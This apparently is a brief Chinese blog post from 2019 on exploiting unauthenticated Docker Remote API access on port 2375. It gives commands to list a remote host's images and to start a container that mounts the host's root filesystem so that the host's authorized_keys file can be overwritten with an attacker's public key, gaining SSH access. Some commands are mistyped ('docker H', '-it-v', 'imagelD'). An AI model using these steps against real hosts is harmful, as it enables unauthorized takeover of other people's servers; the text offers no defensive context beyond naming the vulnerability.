Docker_remote_api未授权访问漏洞

1.远程对被攻击主机的docker容器进行操作

docker  -H tcp://*.*.*.*:2375 images

2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash
posted @ 2019-12-12 18:36  vcxvxcv  阅读(272)  评论(0)    收藏  举报